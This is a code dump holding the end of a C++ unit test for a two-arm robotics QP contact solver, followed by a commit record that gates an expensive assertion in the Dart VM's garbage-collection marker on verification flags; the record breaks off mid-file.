makeZXZArm();\n\n\tforwardKinematics(mb1, mbc1Init);\n\tforwardVelocity(mb1, mbc1Init);\n\n\tstd::tie(mb2, mbc2Init) = makeZXZArm(false);\n\tVector3d mb2InitPos = mbc1Init.bodyPosW.back().translation();\n\tQuaterniond mb2InitOri(RotY(cst::pi<double>()\/2.));\n\tmbc2Init.q[0] = {mb2InitOri.w(), mb2InitOri.x(), mb2InitOri.y(), mb2InitOri.z(),\n\t\tmb2InitPos.x(), mb2InitPos.y()+ 1, mb2InitPos.z()};\n\tforwardKinematics(mb2, mbc2Init);\n\tforwardVelocity(mb2, mbc2Init);\n\n\tsva::PTransformd X_0_b1(mbc1Init.bodyPosW.back());\n\tsva::PTransformd X_0_b2(mbc2Init.bodyPosW.front());\n\tsva::PTransformd X_b1_b2(X_0_b2*X_0_b1.inv());\n\n\tstd::vector<MultiBody> mbs = {mb1, mb2};\n\tstd::vector<MultiBodyConfig> mbcs = {mbc1Init, mbc2Init};\n\n\t\/\/ Test ContactAccConstr constraint\n\t\/\/ Also test PositionTask on the second robot\n\n\tqp::QPSolver solver;\n\n\tstd::vector<Eigen::Vector3d> points =\n\t{\n\t\tVector3d(0.1, 0., 0.1),\n\t\tVector3d(0.1, 0., -0.1),\n\t\tVector3d(-0.1, 0., -0.1),\n\t\tVector3d(-0.1, 0., 0.1),\n\t};\n\n\tstd::vector<Eigen::Vector3d> biPoints =\n\t{\n\t\tVector3d(0., 0., 0.),\n\t\tVector3d(0., 0., 0.),\n\t\tVector3d(0., 0., 0.),\n\t\tVector3d(0., 0., 0.),\n\t};\n\n\tconst int nrGen = 4;\n\tstd::vector<Eigen::Matrix3d> biFrames =\n\t{\n\t\tRotX((1.*cst::pi<double>())\/4.),\n\t\tRotX((3.*cst::pi<double>())\/4.),\n\t\tMatrix3d(RotX((1.*cst::pi<double>())\/4.)*RotY(cst::pi<double>()\/2.)),\n\t\tMatrix3d(RotX((3.*cst::pi<double>())\/4.)*RotY(cst::pi<double>()\/2.)),\n\t};\n\n\t\/\/ The fixed robot can pull the other\n\tstd::vector<qp::UnilateralContact> contVecFail =\n\t\t{qp::UnilateralContact(0, 1, 3, 0,\n\t\t\tpoints, RotX(-cst::pi<double>()\/2.), X_b1_b2,\n\t\t\tnrGen, 0.7)};\n\n\t\/\/ The fixed robot can push the other\n\tstd::vector<qp::UnilateralContact> contVec =\n\t\t{qp::UnilateralContact({0, 1, 3, 0},\n\t\t\tpoints, RotX(cst::pi<double>()\/2.), X_b1_b2,\n\t\t\tnrGen, 0.7)};\n\n\t\/\/ The fixed robot has non coplanar force apply on the other\n\tstd::vector<qp::BilateralContact> contVecBi =\n\t\t{qp::BilateralContact({0, 1, 3, 0},\n\t\t\tbiPoints, biFrames, X_b1_b2,\n\t\t\tnrGen, 1.)};\n\n\tqp::PositionTask posTask(mbs, 0, 3, mbc1Init.bodyPosW.back().translation());\n\tqp::SetPointTask posTaskSp(mbs, 0, &posTask, 10., 10000.);\n\tqp::OrientationTask oriTask(mbs, 0, 3, mbc1Init.bodyPosW.back().rotation());\n\tqp::SetPointTask oriTaskSp(mbs, 0, &oriTask, 10., 10000.);\n\tqp::PostureTask posture1Task(mbs, 0, mbc1Init.q, 2., 1.);\n\tqp::PostureTask posture2Task(mbs, 1, mbc2Init.q, 2., 1.);\n\n\tqp::ContactSpeedConstr contCstrSpeed(0.001);\n\n\tconst double Inf = std::numeric_limits<double>::infinity();\n\tstd::vector<std::vector<double>> torqueMin1 = {{},{-Inf},{-Inf},{-Inf}};\n\tstd::vector<std::vector<double>> torqueMax1 = {{},{Inf},{Inf},{Inf}};\n\tstd::vector<std::vector<double>> torqueMin2 = {{0., 0., 0., 0., 0., 0.},\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{-Inf},{-Inf},{-Inf}};\n\tstd::vector<std::vector<double>> torqueMax2 = {{0., 0., 0., 0., 0., 0.},\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{Inf},{Inf},{Inf}};\n\tqp::MotionConstr motion1(mbs, 0, {torqueMin1, torqueMax1});\n\tqp::MotionConstr motion2(mbs, 1, {torqueMin2, torqueMax2});\n\tqp::PositiveLambda plCstr;\n\n\tmotion1.addToSolver(solver);\n\tmotion2.addToSolver(solver);\n\tplCstr.addToSolver(solver);\n\n\tcontCstrSpeed.addToSolver(solver);\n\tsolver.addTask(&posTaskSp);\n\tsolver.addTask(&oriTaskSp);\n\tsolver.addTask(&posture1Task);\n\tsolver.addTask(&posture2Task);\n\n\t\/\/ check the impossible motion\n\tsolver.nrVars(mbs, contVecFail, {});\n\tsolver.updateConstrSize();\n\n\t\/\/ 3 dof + 9 dof + 4*nrGen lambda\n\tBOOST_CHECK_EQUAL(solver.nrVars(), 3 + 9 + 4*nrGen);\n\tBOOST_REQUIRE(!solver.solve(mbs, mbcs));\n\n\n\t\/\/ check the unilateral motion\n\tmbcs = {mbc1Init, mbc2Init};\n\tsolver.nrVars(mbs, contVec, {});\n\tsolver.updateConstrSize();\n\n\tfor(int i = 0; i < 1000; ++i)\n\t{\n\t\tBOOST_REQUIRE(solver.solve(mbs, mbcs));\n\t\tfor(std::size_t r = 0; r < mbs.size(); ++r)\n\t\t{\n\t\t\teulerIntegration(mbs[r], mbcs[r], 0.001);\n\n\t\t\tforwardKinematics(mbs[r], mbcs[r]);\n\t\t\tforwardVelocity(mbs[r], mbcs[r]);\n\t\t}\n\t\t\/\/ check that the link hold\n\t\tsva::PTransformd X_0_b1_post(mbcs[0].bodyPosW.back());\n\t\tsva::PTransformd X_0_b2_post(mbcs[1].bodyPosW.front());\n\t\tsva::PTransformd X_b1_b2_post(X_0_b2*X_0_b1.inv());\n\t\tBOOST_CHECK_SMALL((X_b1_b2.matrix() - X_b1_b2_post.matrix()).norm(), 1e-5);\n\n\t\t\/\/ force in world frame must be the same\n\t\tauto f1 = X_0_b1.rotation().transpose()*contVec[0].force(solver.lambdaVec(0), contVec[0].r1Cone);\n\t\tauto f2 = X_0_b2.rotation().transpose()*contVec[0].force(solver.lambdaVec(0), contVec[0].r2Cone);\n\t\tBOOST_CHECK_SMALL((f1 + f2).norm(), 1e-5);\n\t}\n\n\n\t\/\/ check the bilateral motion\n\tmbcs = {mbc1Init, mbc2Init};\n\tsolver.nrVars(mbs, {}, contVecBi);\n\tsolver.updateConstrSize();\n\t\/\/ 3 dof + 9 dof + 4*nrGen lambda\n\tBOOST_CHECK_EQUAL(solver.nrVars(), 3 + 9 + 4*nrGen);\n\n\tfor(int i = 0; i < 1000; ++i)\n\t{\n\t\t\/\/std::cout << i << std::endl;\n\t\tBOOST_REQUIRE(solver.solve(mbs, mbcs));\n\t\tfor(std::size_t r = 0; r < mbs.size(); ++r)\n\t\t{\n\t\t\teulerIntegration(mbs[r], mbcs[r], 0.001);\n\n\t\t\tforwardKinematics(mbs[r], mbcs[r]);\n\t\t\tforwardVelocity(mbs[r], mbcs[r]);\n\t\t}\n\t\t\/\/ check that the link hold\n\t\tsva::PTransformd X_0_b1_post(mbcs[0].bodyPosW.back());\n\t\tsva::PTransformd X_0_b2_post(mbcs[1].bodyPosW.front());\n\t\tsva::PTransformd X_b1_b2_post(X_0_b2*X_0_b1.inv());\n\t\tBOOST_CHECK_SMALL((X_b1_b2.matrix() - X_b1_b2_post.matrix()).norm(), 1e-5);\n\n\t\t\/\/ force in world frame must be the same\n\t\tauto f1 = X_0_b1.rotation().transpose()*contVec[0].force(solver.lambdaVec(0), contVec[0].r1Cone);\n\t\tauto f2 = X_0_b2.rotation().transpose()*contVec[0].force(solver.lambdaVec(0), contVec[0].r2Cone);\n\t\tBOOST_CHECK_SMALL((f1 + f2).norm(), 1e-5);\n\t}\n\n\tplCstr.removeFromSolver(solver);\n\tmotion2.removeFromSolver(solver);\n\tmotion1.removeFromSolver(solver);\n\tcontCstrSpeed.removeFromSolver(solver);\n\n\tsolver.removeTask(&posture1Task);\n\tsolver.removeTask(&posture2Task);\n\tsolver.removeTask(&posTaskSp);\n\tsolver.removeTask(&oriTaskSp);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#include \"vm\/gc_marker.h\"\n\n#include <map>\n#include <utility>\n\n#include \"vm\/allocation.h\"\n#include \"vm\/dart_api_state.h\"\n#include \"vm\/isolate.h\"\n#include \"vm\/pages.h\"\n#include \"vm\/raw_object.h\"\n#include \"vm\/stack_frame.h\"\n#include \"vm\/visitor.h\"\n\nnamespace dart {\n\n\/\/ A simple chunked marking stack.\nclass MarkingStack : public ValueObject {\n public:\n  MarkingStack()\n      : head_(new MarkingStackChunk()),\n        empty_chunks_(NULL),\n        marking_stack_(NULL),\n        top_(0) {\n    marking_stack_ = head_->MarkingStackChunkMemory();\n  }\n\n  ~MarkingStack() {\n    \/\/ TODO(iposva): Consider caching a couple emtpy marking stack chunks.\n    ASSERT(IsEmpty());\n    delete head_;\n    MarkingStackChunk* next;\n    while (empty_chunks_ != NULL) {\n      next = empty_chunks_->next();\n      delete empty_chunks_;\n      empty_chunks_ = next;\n    }\n  }\n\n  bool IsEmpty() const {\n    return IsMarkingStackChunkEmpty() && (head_->next() == NULL);\n  }\n\n  void Push(RawObject* value) {\n    ASSERT(!IsMarkingStackChunkFull());\n    marking_stack_[top_] = value;\n    top_++;\n    if (IsMarkingStackChunkFull()) {\n      MarkingStackChunk* new_chunk;\n      if (empty_chunks_ == NULL) {\n        new_chunk = new MarkingStackChunk();\n      } else {\n        new_chunk = empty_chunks_;\n        empty_chunks_ = new_chunk->next();\n      }\n      new_chunk->set_next(head_);\n      head_ = new_chunk;\n      marking_stack_ = head_->MarkingStackChunkMemory();\n      top_ = 0;\n    }\n  }\n\n  RawObject* Pop() {\n    ASSERT(head_ != NULL);\n    ASSERT(!IsEmpty());\n    if (IsMarkingStackChunkEmpty()) {\n      MarkingStackChunk* empty_chunk = head_;\n      head_ = head_->next();\n      empty_chunk->set_next(empty_chunks_);\n      empty_chunks_ = empty_chunk;\n      marking_stack_ = head_->MarkingStackChunkMemory();\n      top_ = MarkingStackChunk::kMarkingStackChunkSize;\n    }\n    top_--;\n    return marking_stack_[top_];\n  }\n\n private:\n  class MarkingStackChunk {\n   public:\n    MarkingStackChunk() : next_(NULL) {}\n    ~MarkingStackChunk() {}\n\n    RawObject** MarkingStackChunkMemory() {\n      return &memory_[0];\n    }\n\n    MarkingStackChunk* next() const { return next_; }\n    void set_next(MarkingStackChunk* value) { next_ = value; }\n\n    static const uint32_t kMarkingStackChunkSize = 1024;\n\n   private:\n    RawObject* memory_[kMarkingStackChunkSize];\n    MarkingStackChunk* next_;\n\n    DISALLOW_COPY_AND_ASSIGN(MarkingStackChunk);\n  };\n\n  bool IsMarkingStackChunkFull() const {\n    return top_ == MarkingStackChunk::kMarkingStackChunkSize;\n  }\n\n  bool IsMarkingStackChunkEmpty() const {\n    return top_ == 0;\n  }\n\n  MarkingStackChunk* head_;\n  MarkingStackChunk* empty_chunks_;\n  RawObject** marking_stack_;\n  uint32_t top_;\n\n  DISALLOW_COPY_AND_ASSIGN(MarkingStack);\n};\n\n\nclass MarkingVisitor : public ObjectPointerVisitor {\n public:\n  MarkingVisitor(Isolate* isolate,\n                 Heap* heap,\n                 PageSpace* page_space,\n                 MarkingStack* marking_stack)\n      : ObjectPointerVisitor(isolate),\n        heap_(heap),\n        vm_heap_(Dart::vm_isolate()->heap()),\n        page_space_(page_space),\n        marking_stack_(marking_stack),\n        update_store_buffers_(false) {\n    ASSERT(heap_ != vm_heap_);\n  }\n\n  MarkingStack* marking_stack() const { return marking_stack_; }\n\n  void VisitPointers(RawObject** first, RawObject** last) {\n    for (RawObject** current = first; current <= last; current++) {\n      MarkObject(*current, current);\n    }\n  }\n\n  void DelayWeakProperty(RawWeakProperty* raw_weak) {\n    RawObject* raw_key = raw_weak->ptr()->key_;\n    DelaySet::iterator it = delay_set_.find(raw_key);\n    if (it != delay_set_.end()) {\n      ASSERT(raw_key->IsWatched());\n    } else {\n      ASSERT(!raw_key->IsWatched());\n      raw_key->SetWatchedBit();\n    }\n    delay_set_.insert(std::make_pair(raw_key, raw_weak));\n  }\n\n  void Finalize() {\n    DelaySet::iterator it = delay_set_.begin();\n    for (; it != delay_set_.end(); ++it) {\n      WeakProperty::Clear(it->second);\n    }\n  }\n\n  void set_update_store_buffers(bool val) { update_store_buffers_ = val; }\n\n private:\n  void MarkAndPush(RawObject* raw_obj) {\n    ASSERT(raw_obj->IsHeapObject());\n    ASSERT(page_space_->Contains(RawObject::ToAddr(raw_obj)));\n\n    \/\/ Mark the object and push it on the marking stack.\n    ASSERT(!raw_obj->IsMarked());\n    RawClass* raw_class = isolate()->class_table()->At(raw_obj->GetClassId());\n    raw_obj->SetMarkBit();\n    if (raw_obj->IsWatched()) {\n      std::pair<DelaySet::iterator, DelaySet::iterator> ret;\n      \/\/ Visit all elements with a key equal to raw_obj.\n      ret = delay_set_.equal_range(raw_obj);\n      for (DelaySet::iterator it = ret.first; it != ret.second; ++it) {\n        it->second->VisitPointers(this);\n      }\n      delay_set_.erase(ret.first, ret.second);\n      raw_obj->ClearWatchedBit();\n    }\n    marking_stack_->Push(raw_obj);\n\n    \/\/ Update the number of used bytes on this page for fast accounting.\n    HeapPage* page = PageSpace::PageFor(raw_obj);\n    page->AddUsed(raw_obj->Size());\n\n    \/\/ TODO(iposva): Should we mark the classes early?\n    MarkObject(raw_class, NULL);\n  }\n\n  void MarkObject(RawObject* raw_obj, RawObject** p) {\n    \/\/ Fast exit if the raw object is a Smi.\n    if (!raw_obj->IsHeapObject()) return;\n\n    \/\/ Fast exit if the raw object is marked.\n    if (raw_obj->IsMarked()) return;\n\n    \/\/ Skip over new objects, but verify consistency of heap while at it.\n    if (raw_obj->IsNewObject()) {\n      \/\/ TODO(iposva): Add consistency check.\n      if (update_store_buffers_) {\n        ASSERT(p != NULL);\n        isolate()->store_buffer()->AddPointer(reinterpret_cast<uword>(p));\n      }\n      return;\n    }\n\n    \/\/ TODO(iposva): merge old and code spaces.\n    ASSERT(page_space_->Contains(RawObject::ToAddr(raw_obj)));\n    MarkAndPush(raw_obj);\n  }\n\n  Heap* heap_;\n  Heap* vm_heap_;\n  PageSpace* page_space_;\n  MarkingStack* marking_stack_;\n  typedef std::multimap<RawObject*, RawWeakProperty*> DelaySet;\n  DelaySet delay_set_;\n  bool update_store_buffers_;\n\n  DISALLOW_IMPLICIT_CONSTRUCTORS(MarkingVisitor);\n};\n\n\nbool IsUnreachable(const RawObject* raw_obj) {\n  if (!raw_obj->IsHeapObject()) {\n    return false;\n  }\n  if (raw_obj == Object::null()) {\n    return true;\n  }\n  if (!raw_obj->IsOldObject()) {\n    return false;\n  }\n  return !raw_obj->IsMarked();\n}\n\n\nclass MarkingWeakVisitor : public HandleVisitor {\n public:\n  MarkingWeakVisitor() {\n  }\n\n  void VisitHandle(uword addr) {\n    FinalizablePersistentHandle* handle =\n        reinterpret_cast<FinalizablePersistentHandle*>(addr);\n    RawObject* raw_obj = handle->raw();\n    if (IsUnreachable(raw_obj)) {\n      FinalizablePersistentHandle::Finalize(handle);\n    }\n  }\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(MarkingWeakVisitor);\n};\n\n\nvoid GCMarker::Prologue(Isolate* isolate, bool invoke_api_callbacks) {\n  if (invoke_api_callbacks) {\n    isolate->gc_prologue_callbacks().Invoke();\n  }\n  \/\/ The store buffers will be rebuilt as part of marking, reset them now.\n  isolate->store_buffer()->Reset();\n  isolate->store_buffer_block()->Reset();\n}\n\n\nvoid GCMarker::Epilogue(Isolate* isolate, bool invoke_api_callbacks) {\n  if (invoke_api_callbacks) {\n    isolate->gc_epilogue_callbacks().Invoke();\n  }\n}\n\n\nvoid GCMarker::IterateRoots(Isolate* isolate,\n                            ObjectPointerVisitor* visitor,\n                            bool visit_prologue_weak_persistent_handles) {\n  isolate->VisitObjectPointers(visitor,\n                               visit_prologue_weak_persistent_handles,\n                               StackFrameIterator::kDontValidateFrames);\n  heap_->IterateNewPointers(visitor);\n  heap_->IterateCodePointers(visitor);\n}\n\n\nvoid GCMarker::IterateWeakRoots(Isolate* isolate,\n                                HandleVisitor* visitor,\n                                bool visit_prologue_weak_persistent_handles) {\n  ApiState* state = isolate->api_state();\n  ASSERT(state != NULL);\n  isolate->VisitWeakPersistentHandles(visitor,\n                                      visit_prologue_weak_persistent_handles);\n}\n\n\nvoid GCMarker::IterateWeakReferences(Isolate* isolate,\n                                     MarkingVisitor* visitor) {\n  ApiState* state = isolate->api_state();\n  ASSERT(state != NULL);\n  while (true) {\n    WeakReferenceSet* queue = state->delayed_weak_reference_sets();\n    if (queue == NULL) {\n      \/\/ The delay queue is empty therefore no clean-up is required.\n      return;\n    }\n    state->set_delayed_weak_reference_sets(NULL);\n    while (queue != NULL) {\n      WeakReferenceSet* reference_set = WeakReferenceSet::Pop(&queue);\n      ASSERT(reference_set != NULL);\n      bool is_unreachable = true;\n      \/\/ Test each key object for reachability.  If a key object is\n      \/\/ reachable, all value objects should be marked.\n      for (intptr_t k = 0; k < reference_set->num_keys(); ++k) {\n        if (!IsUnreachable(*reference_set->get_key(k))) {\n          for (intptr_t v = 0; v < reference_set->num_values(); ++v) {\n            visitor->VisitPointer(reference_set->get_value(v));\n          }\n          is_unreachable = false;\n          delete reference_set;\n          break;\n        }\n      }\n      \/\/ If all key objects are unreachable put the reference on a\n      \/\/ delay queue.  This reference will be revisited if another\n      \/\/ reference is marked.\n      if (is_unreachable) {\n        state->DelayWeakReferenceSet(reference_set);\n      }\n    }\n    if (!visitor->marking_stack()->IsEmpty()) {\n      DrainMarkingStack(isolate, visitor);\n    } else {\n      \/\/ Break out of the loop if there has been no forward process.\n      break;\n    }\n  }\n  \/\/ Deallocate any unmarked references on the delay queue.\n  if (state->delayed_weak_reference_sets() != NULL) {\n    WeakReferenceSet* queue = state->delayed_weak_reference_sets();\n    state->set_delayed_weak_reference_sets(NULL);\n    while (queue != NULL) {\n      delete WeakReferenceSet::Pop(&queue);\n    }\n  }\n}\n\n\nvoid GCMarker::DrainMarkingStack(Isolate* isolate,\n                                 MarkingVisitor* visitor) {\n  visitor->set_update_store_buffers(true);\n  while (!visitor->marking_stack()->IsEmpty()) {\n    RawObject* raw_obj = visitor->marking_stack()->Pop();\n    if (raw_obj->GetClassId() != kWeakPropertyCid) {\n      raw_obj->VisitPointers(visitor);\n    } else {\n      RawWeakProperty* raw_weak = reinterpret_cast<RawWeakProperty*>(raw_obj);\n      ProcessWeakProperty(raw_weak, visitor);\n    }\n  }\n  visitor->set_update_store_buffers(false);\n}\n\n\nvoid GCMarker::ProcessWeakProperty(RawWeakProperty* raw_weak,\n                                   MarkingVisitor* visitor) {\n  \/\/ The fate of the weak property is determined by its key.\n  RawObject* raw_key = raw_weak->ptr()->key_;\n  if (!raw_key->IsMarked()) {\n    \/\/ Key is white.  Delay the weak property.\n    visitor->DelayWeakProperty(raw_weak);\n  } else {\n    \/\/ Key is gray or black.  Make the weak property black.\n    raw_weak->VisitPointers(visitor);\n  }\n}\n\n\nvoid GCMarker::MarkObjects(Isolate* isolate,\n                           PageSpace* page_space,\n                           bool invoke_api_callbacks) {\n  MarkingStack marking_stack;\n  Prologue(isolate, invoke_api_callbacks);\n  MarkingVisitor mark(isolate, heap_, page_space, &marking_stack);\n  IterateRoots(isolate, &mark, !invoke_api_callbacks);\n  DrainMarkingStack(isolate, &mark);\n  IterateWeakReferences(isolate, &mark);\n  MarkingWeakVisitor mark_weak;\n  IterateWeakRoots(isolate, &mark_weak, invoke_api_callbacks);\n  mark.Finalize();\n  Epilogue(isolate, invoke_api_callbacks);\n}\n\n}  \/\/ namespace dart\n<commit_msg>Disable an expensive GC assert unless heap verification also enabled.<commit_after>\/\/ Copyright (c) 2011, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#include \"vm\/gc_marker.h\"\n\n#include <map>\n#include <utility>\n\n#include \"vm\/allocation.h\"\n#include \"vm\/dart_api_state.h\"\n#include \"vm\/isolate.h\"\n#include \"vm\/pages.h\"\n#include \"vm\/raw_object.h\"\n#include \"vm\/stack_frame.h\"\n#include \"vm\/visitor.h\"\n\nnamespace dart {\n\n\/\/ A simple chunked marking stack.\nclass MarkingStack : public ValueObject {\n public:\n  MarkingStack()\n      : head_(new MarkingStackChunk()),\n        empty_chunks_(NULL),\n        marking_stack_(NULL),\n        top_(0) {\n    marking_stack_ = head_->MarkingStackChunkMemory();\n  }\n\n  ~MarkingStack() {\n    \/\/ TODO(iposva): Consider caching a couple emtpy marking stack chunks.\n    ASSERT(IsEmpty());\n    delete head_;\n    MarkingStackChunk* next;\n    while (empty_chunks_ != NULL) {\n      next = empty_chunks_->next();\n      delete empty_chunks_;\n      empty_chunks_ = next;\n    }\n  }\n\n  bool IsEmpty() const {\n    return IsMarkingStackChunkEmpty() && (head_->next() == NULL);\n  }\n\n  void Push(RawObject* value) {\n    ASSERT(!IsMarkingStackChunkFull());\n    marking_stack_[top_] = value;\n    top_++;\n    if (IsMarkingStackChunkFull()) {\n      MarkingStackChunk* new_chunk;\n      if (empty_chunks_ == NULL) {\n        new_chunk = new MarkingStackChunk();\n      } else {\n        new_chunk = empty_chunks_;\n        empty_chunks_ = new_chunk->next();\n      }\n      new_chunk->set_next(head_);\n      head_ = new_chunk;\n      marking_stack_ = head_->MarkingStackChunkMemory();\n      top_ = 0;\n    }\n  }\n\n  RawObject* Pop() {\n    ASSERT(head_ != NULL);\n    ASSERT(!IsEmpty());\n    if (IsMarkingStackChunkEmpty()) {\n      MarkingStackChunk* empty_chunk = head_;\n      head_ = head_->next();\n      empty_chunk->set_next(empty_chunks_);\n      empty_chunks_ = empty_chunk;\n      marking_stack_ = head_->MarkingStackChunkMemory();\n      top_ = MarkingStackChunk::kMarkingStackChunkSize;\n    }\n    top_--;\n    return marking_stack_[top_];\n  }\n\n private:\n  class MarkingStackChunk {\n   public:\n    MarkingStackChunk() : next_(NULL) {}\n    ~MarkingStackChunk() {}\n\n    RawObject** MarkingStackChunkMemory() {\n      return &memory_[0];\n    }\n\n    MarkingStackChunk* next() const { return next_; }\n    void set_next(MarkingStackChunk* value) { next_ = value; }\n\n    static const uint32_t kMarkingStackChunkSize = 1024;\n\n   private:\n    RawObject* memory_[kMarkingStackChunkSize];\n    MarkingStackChunk* next_;\n\n    DISALLOW_COPY_AND_ASSIGN(MarkingStackChunk);\n  };\n\n  bool IsMarkingStackChunkFull() const {\n    return top_ == MarkingStackChunk::kMarkingStackChunkSize;\n  }\n\n  bool IsMarkingStackChunkEmpty() const {\n    return top_ == 0;\n  }\n\n  MarkingStackChunk* head_;\n  MarkingStackChunk* empty_chunks_;\n  RawObject** marking_stack_;\n  uint32_t top_;\n\n  DISALLOW_COPY_AND_ASSIGN(MarkingStack);\n};\n\n\nclass MarkingVisitor : public ObjectPointerVisitor {\n public:\n  MarkingVisitor(Isolate* isolate,\n                 Heap* heap,\n                 PageSpace* page_space,\n                 MarkingStack* marking_stack)\n      : ObjectPointerVisitor(isolate),\n        heap_(heap),\n        vm_heap_(Dart::vm_isolate()->heap()),\n        page_space_(page_space),\n        marking_stack_(marking_stack),\n        update_store_buffers_(false) {\n    ASSERT(heap_ != vm_heap_);\n  }\n\n  MarkingStack* marking_stack() const { return marking_stack_; }\n\n  void VisitPointers(RawObject** first, RawObject** last) {\n    for (RawObject** current = first; current <= last; current++) {\n      MarkObject(*current, current);\n    }\n  }\n\n  void DelayWeakProperty(RawWeakProperty* raw_weak) {\n    RawObject* raw_key = raw_weak->ptr()->key_;\n    DelaySet::iterator it = delay_set_.find(raw_key);\n    if (it != delay_set_.end()) {\n      ASSERT(raw_key->IsWatched());\n    } else {\n      ASSERT(!raw_key->IsWatched());\n      raw_key->SetWatchedBit();\n    }\n    delay_set_.insert(std::make_pair(raw_key, raw_weak));\n  }\n\n  void Finalize() {\n    DelaySet::iterator it = delay_set_.begin();\n    for (; it != delay_set_.end(); ++it) {\n      WeakProperty::Clear(it->second);\n    }\n  }\n\n  void set_update_store_buffers(bool val) { update_store_buffers_ = val; }\n\n private:\n  void MarkAndPush(RawObject* raw_obj) {\n    ASSERT(raw_obj->IsHeapObject());\n    ASSERT((FLAG_verify_before_gc || FLAG_verify_before_gc) ?\n           page_space_->Contains(RawObject::ToAddr(raw_obj)) :\n           true);\n\n    \/\/ Mark the object and push it on the marking stack.\n    ASSERT(!raw_obj->IsMarked());\n    RawClass* raw_class = isolate()->class_table()->At(raw_obj->GetClassId());\n    raw_obj->SetMarkBit();\n    if (raw_obj->IsWatched()) {\n      std::pair<DelaySet::iterator, DelaySet::iterator> ret;\n      \/\/ Visit all elements with a key equal to raw_obj.\n      ret = delay_set_.equal_range(raw_obj);\n      for (DelaySet::iterator it = ret.first; it != ret.second; ++it) {\n        it->second->VisitPointers(this);\n      }\n      delay_set_.erase(ret.first, ret.second);\n      raw_obj->ClearWatchedBit();\n    }\n    marking_stack_->Push(raw_obj);\n\n    \/\/ Update the number of used bytes on this page for fast accounting.\n    HeapPage* page = PageSpace::PageFor(raw_obj);\n    page->AddUsed(raw_obj->Size());\n\n    \/\/ TODO(iposva): Should we mark the classes early?\n    MarkObject(raw_class, NULL);\n  }\n\n  void MarkObject(RawObject* raw_obj, RawObject** p) {\n    \/\/ Fast exit if the raw object is a Smi.\n    if (!raw_obj->IsHeapObject()) return;\n\n    \/\/ Fast exit if the raw object is marked.\n    if (raw_obj->IsMarked()) return;\n\n    \/\/ Skip over new objects, but verify consistency of heap while at it.\n    if (raw_obj->IsNewObject()) {\n      \/\/ TODO(iposva): Add consistency check.\n      if (update_store_buffers_) {\n        ASSERT(p != NULL);\n        isolate()->store_buffer()->AddPointer(reinterpret_cast<uword>(p));\n      }\n      return;\n    }\n\n    \/\/ TODO(iposva): merge old and code spaces.\n    ASSERT(page_space_->Contains(RawObject::ToAddr(raw_obj)));\n    MarkAndPush(raw_obj);\n  }\n\n  Heap* heap_;\n  Heap* vm_heap_;\n  PageSpace* page_space_;\n  MarkingStack* marking_stack_;\n  typedef std::multimap<RawObject*, RawWeakProperty*> DelaySet;\n  DelaySet delay_set_;\n  bool update_store_buffers_;\n\n  DISALLOW_IMPLICIT_CONSTRUCTORS(MarkingVisitor);\n};\n\n\nbool IsUnreachable(const RawObject* raw_obj) {\n  if (!raw_obj->IsHeapObject()) {\n    return false;\n  }\n  if (raw_obj == Object::null()) {\n    return true;\n  }\n  if (!raw_obj->IsOldObject()) {\n    return false;\n  }\n  return !raw_obj->IsMarked();\n}\n\n\nclass MarkingWeakVisitor : public HandleVisitor {\n public:\n  MarkingWeakVisitor() {\n  }\n\n  void VisitHandle(uword addr) {\n    FinalizablePersistentHandle* handle =\n        reinterpret_cast<FinalizablePersistentHandle*>(addr);\n    RawObject* raw_obj = handle->raw();\n    if (IsUnreachable(raw_obj)) {\n      FinalizablePersistentHandle::Finalize(handle);\n    }\n  }\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(MarkingWeakVisitor);\n};\n\n\nvoid GCMarker::Prologue(Isolate* isolate, bool invoke_api_callbacks) {\n  if (invoke_api_callbacks) {\n    isolate->gc_prologue_callbacks().Invoke();\n  }\n  \/\/ The store buffers will be rebuilt as part of marking, reset them now.\n  isolate->store_buffer()->Reset();\n  isolate->store_buffer_block()->Reset();\n}\n\n\nvoid GCMarker::Epilogue(Isolate* isolate, bool invoke_api_callbacks) {\n  if (invoke_api_callbacks) {\n    isolate->gc_epilogue_callbacks().Invoke();\n  }\n}\n\n\nvoid GCMarker::IterateRoots(Isolate* isolate,\n                            ObjectPointerVisitor* visitor,\n                            bool visit_prologue_weak_persistent_handles) {\n  isolate->VisitObjectPointers(visitor,\n                               visit_prologue_weak_persistent_handles,\n                               StackFrameIterator::kDontValidateFrames);\n  heap_->IterateNewPointers(visitor);\n  heap_->IterateCodePointers(visitor);\n}\n\n\nvoid GCMarker::IterateWeakRoots(Isolate* isolate,\n                                HandleVisitor* visitor,\n                                bool visit_prologue_weak_persistent_handles) {\n  ApiState* state = isolate->api_state();\n  ASSERT(state != NULL);\n  isolate->VisitWeakPersistentHandles(visitor,\n                                      visit_prologue_weak_persistent_handles);\n}\n\n\nvoid GCMarker::IterateWeakReferences(Isolate* isolate,\n                                     MarkingVisitor* visitor) {\n  ApiState* state = isolate->api_state();\n  ASSERT(state != NULL);\n  while (true) {\n    WeakReferenceSet* queue = state->delayed_weak_reference_sets();\n    if (queue == NULL) {\n      \/\/ The delay queue is empty therefore no clean-up is required.\n      return;\n    }\n    state->set_delayed_weak_reference_sets(NULL);\n    while (queue != NULL) {\n      WeakReferenceSet* reference_set = WeakReferenceSet::Pop(&queue);\n      ASSERT(reference_set != NULL);\n      bool is_unreachable = true;\n      \/\/ Test each key object for reachability.  If a key object is\n      \/\/ reachable, all value objects should be marked.\n      for (intptr_t k = 0; k < reference_set->num_keys(); ++k) {\n        if (!IsUnreachable(*reference_set->get_key(k))) {\n          for (intptr_t v = 0; v < reference_set->num_values(); ++v) {\n            visitor->VisitPointer(reference_set->get_value(v));\n          }\n          is_unreachable = false;\n          delete reference_set;\n          break;\n        }\n      }\n      \/\/ If all key objects are unreachable put the reference on a\n      \/\/ delay queue.  This reference will be revisited if another\n      \/\/ reference is marked.\n      if (is_unreachable) {\n        state->DelayWeakReferenceSet(reference_set);\n      }\n    }\n    if (!visitor->marking_stack()->IsEmpty()) {\n      DrainMarkingStack(isolate, visitor);\n    } else 